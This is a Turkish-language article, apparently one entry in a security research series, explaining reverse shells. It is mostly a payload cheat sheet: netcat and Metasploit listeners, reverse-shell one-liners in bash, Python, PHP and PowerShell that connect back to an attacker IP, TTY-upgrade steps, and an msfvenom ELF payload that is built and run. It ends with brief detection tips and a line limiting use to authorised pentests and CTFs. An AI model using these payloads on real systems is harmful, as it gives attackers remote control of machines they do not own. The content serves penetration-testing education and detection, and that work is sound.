Araştırma 03/08
Reverse Shell: Bağlantı Almanın Yolları
Ters bağlantı kanallarının ağ ve süreç telemetrisinde bıraktığı izleri, yetkili laboratuvar örnekleri ve savunma kontrolleriyle inceleyen teknik kayıt.
Araştırma 03/08
Ters bağlantı kanallarının ağ ve süreç telemetrisinde bıraktığı izleri, yetkili laboratuvar örnekleri ve savunma kontrolleriyle inceleyen teknik kayıt.
Normal bir shell bağlantısında saldırgan hedef sisteme bağlanır (bind shell). Reverse shell'de ise hedef sistem saldırgana bağlanır. Bu yaklaşım, güvenlik duvarı kurallarını atlatmak için kritik önem taşır — çünkü çoğu firewall gelen bağlantıları filtreler, giden bağlantıları serbest bırakır.
[Hedef] ──── bağlantı kurma ────▶ [Saldırgan:4444]
Payload çalıştırmadan önce kendi makinenizde dinleyiciyi açın:
# Netcat ile klasik listenernc -lvnp 4444# Rlwrap ile geliştirme (ok tuşları, history)rlwrap nc -lvnp 4444# Metasploit multi/handlermsfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/shell_reverse_tcp; set LHOST 10.10.14.5; set LPORT 4444; run"
bash -i >& /dev/tcp/10.10.14.5/4444 0>&1# Alternatif — bazı sistemlerde daha güvenilirbash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
# Python 3
python3 -c 'import os,pty,socket;s=socket.socket();s.connect(("10.10.14.5",4444));[os.dup2(s.fileno(),f)for f in(0,1,2)];pty.spawn("/bin/bash")'
# Python 2 — yalnızca legacy sistemler için (Python 2 EOL: 2020-01-01)
python -c 'import socket,subprocess,os;s=socket.socket();s.connect(("10.10.14.5",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"); ?>// Daha kapsamlıphp -r '$sock=fsockopen("10.10.14.5",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.5", 4444)$stream = $client.GetStream()[byte[]]$bytes = 0..65535 | % { 0 }while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)$sendback = (iex $data 2>&1 | Out-String)$sendback2 = $sendback + "PS " + (pwd).Path + "> "$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)$stream.Write($sendbyte, 0, $sendbyte.Length)$stream.Flush()}$client.Close()
Ham reverse shell'ler genellikle kararsızdır — CTRL+C bağlantıyı keser, tab completion çalışmaz. Aşağıdaki adımlarla tam TTY'ye yükseltin:
# 1. Adım — hedef makinede
python3 -c 'import pty; pty.spawn("/bin/bash")'
# 2. Adım — CTRL+Z ile arka plana al, kendi terminalinizde
stty raw -echo; fg
# 3. Adım — hedef makinede
export TERM=xterm
stty rows 38 cols 175Hızlı payload üretmek için revshells.com pratik olsa da üretim ortamı IP'lerinizi üçüncü parti sitelere girmekten kaçının. Bunun yerine:
# msfvenom ile özelleştirilmiş payloadmsfvenom -p linux/x64/shell_reverse_tcp \LHOST=10.10.14.5 LPORT=4444 \-f elf -o shell.elfchmod +x shell.elf && ./shell.elf
Mavi takım perspektifinden izlenmesi gereken işaretler:
/dev/tcp kullanan bash process'leripython, php, perl process'leri# Şüpheli bağlantıları anlık izle
ss -tnp | grep ESTABLISHED
# Process'in hangi bağlantıları açtığını gör
lsof -i -n -P | grep "10.10.14"Not: Bu teknikler yalnızca izinli pentest ortamlarında ve CTF senaryolarında kullanılmalıdır.
Okuma rotası
Topluluk masası
Soru sor, kanıt bırak veya bir düzeltme öner.